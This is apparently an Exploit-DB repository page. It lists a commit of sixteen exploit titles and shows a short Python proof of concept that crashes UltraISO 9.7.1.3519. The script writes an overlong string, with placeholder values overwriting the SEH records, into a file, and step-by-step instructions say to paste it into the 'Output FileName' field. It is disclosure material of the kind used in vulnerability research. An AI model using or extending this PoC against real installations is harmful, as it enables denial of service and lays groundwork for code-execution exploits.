e3c06fe0f7
16 changes to exploits/shellcodes Angry IP Scanner 3.5.3 - Denial of Service (PoC) UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service (PoC) Zortam MP3 Media Studio 24.15 - Local Buffer Overflow (SEH) Cisco RV110W - Password Disclosure / Command Execution Safari - Proxy Object Type Confusion (Metasploit) Adminer 4.3.1 - Server-Side Request Forgery Responsive FileManager 9.13.4 - Multiple Vulnerabilities Fortify Software Security Center (SSC) 17.10/17.20/18.10 - Information Disclosure Fortify Software Security Center (SSC) 17.10/17.20/18.10 - Information Disclosure (2) Huawei Router HG532e - Command Execution Facebook And Google Reviews System For Businesses - Cross-Site Request Forgery (Change Admin Password) Facebook And Google Reviews System For Businesses 1.1 - SQL Injection Facebook And Google Reviews System For Businesses 1.1 - Remote Code Execution Double Your Bitcoin Script Automatic - Authentication Bypass
27 lines
No EOL
1.1 KiB
Python
Executable file
27 lines
No EOL
1.1 KiB
Python
Executable file
# Exploit Title: UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service (PoC) and Pointer to next SEH and SE handler records overwrite
|
|
# Discovery by: Francisco Ramirez
|
|
# Discovery Date: 2018-12-14
|
|
# Vendor Homepage: https://www.ultraiso.com/
|
|
# Software Link : https://www.ultraiso.com/download.html
|
|
# Tested Version: 9.7.1.3519
|
|
# Tested on: Windows 10 Pro - 64 bit
|
|
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
|
|
|
|
# Steps to Produce the Crash:
|
|
# 1.- Run python code : python UltraISO_9.7.1.3519.py
|
|
# 2.- Open UltraISO_9.7.1.3519.txt and copy content to clipboard
|
|
# 3.- Open UltraISO_9.7.1.3519
|
|
# 4.- In the Window select 'Tools' > 'Make CD/DVD Image'
|
|
# 5.- In the field 'Output FileName' remove the default path.
|
|
# 6.- Paste the content of UltraISO_9.7.1.3519.txt into the field: 'Output FileName'
|
|
# 7.- Click 'Make' and you will see a crash.
|
|
|
|
#!/usr/bin/env python
|
|
|
|
a_letters = "\x41" * 304
|
|
seRecord = "\x42" * 4
|
|
sehRecord = "\x43" * 4
|
|
buffer = a_letters + seRecord + sehRecord
|
|
f = open ("UltraISO_9.7.1.3519.txt", "w")
|
|
f.write(buffer)
|
|
f.close() |